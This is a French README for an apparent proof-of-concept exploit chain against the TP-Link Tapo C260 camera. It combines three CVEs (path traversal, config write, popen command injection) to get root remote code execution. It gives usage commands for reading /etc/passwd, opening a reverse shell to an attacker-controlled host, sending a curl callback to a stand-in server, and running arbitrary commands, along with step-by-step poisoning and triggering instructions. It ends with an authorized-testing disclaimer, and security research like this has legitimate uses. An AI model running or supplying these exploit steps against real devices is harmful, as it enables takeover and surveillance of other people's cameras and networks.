
Chaîne d'exploitation PoC pour la caméra TP-Link Tapo C260 — CVE-2026-0651/0652/0653. Recherche par @spaceraccoon.
Preuve de concept d'une chaîne d'exploitation pour la caméra IP TP-Link Tapo C260 permettant d'obtenir une RCE de non-authentifié à root en enchaînant trois vulnérabilités découvertes par Eugene Lim (Spaceraccoon).
Toutes les recherches et découvertes de vulnérabilités par Eugene Lim (@spaceraccoon).
Ce dépôt est une implémentation de PoC basée sur son article public. Si vous trouvez cela utile, achetez son livre : From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | Type | Impact |
|---|---|---|
| CVE-2026-0651 | Traversée de chemin / Divulgation de fichiers locaux | Lecture de fichiers arbitraires via /%2e%2e%2f dans le gestionnaire HTTP GET |
| CVE-2026-0652 | Écriture de configuration arbitraire | Les utilisateurs de niveau invité peuvent écrire dans n'importe quel chemin de configuration via la manipulation de clés JSON dans l'API cloud |
| CVE-2026-0653 | Injection de commande / Élévation de privilèges | set_region_code_handle transmet la valeur de configuration dev_name non assainie à popen() |
LFD (lecture de la configuration de l'appareil) --> Écriture de configuration (empoisonnement de dev_name) --> Déclenchement du gestionnaire de code de région --> popen() --> shell
git clone https://github.com/<vous>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
Lire des fichiers arbitraires depuis une caméra sur le réseau local :
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# Shell inversé
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <VOTRE_IP> \
--lport 4444
# Rappel uniquement (ping curl)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://votre-serveur.com/pwned
# Commande personnalisée
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
Empoisonnement — Envoie une requête setLedStatus avec des clés JSON manipulées qui écrit une charge utile de métacaractères shell dans le chemin de configuration tp_manage/info/dev_name sur l'appareil.
Déclenchement — Envoie une requête set_region_code. Le gestionnaire lit dev_name depuis la configuration et l'interpole dans un appel popen() sans assainissement, exécutant la commande injectée.
Shell — L'attaquant reçoit un rappel ou un shell inversé.
/bin/mainCet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs ne sont pas responsables d'une mauvaise utilisation. Obtenez toujours une autorisation explicite avant de tester un appareil qui ne vous appartient pas.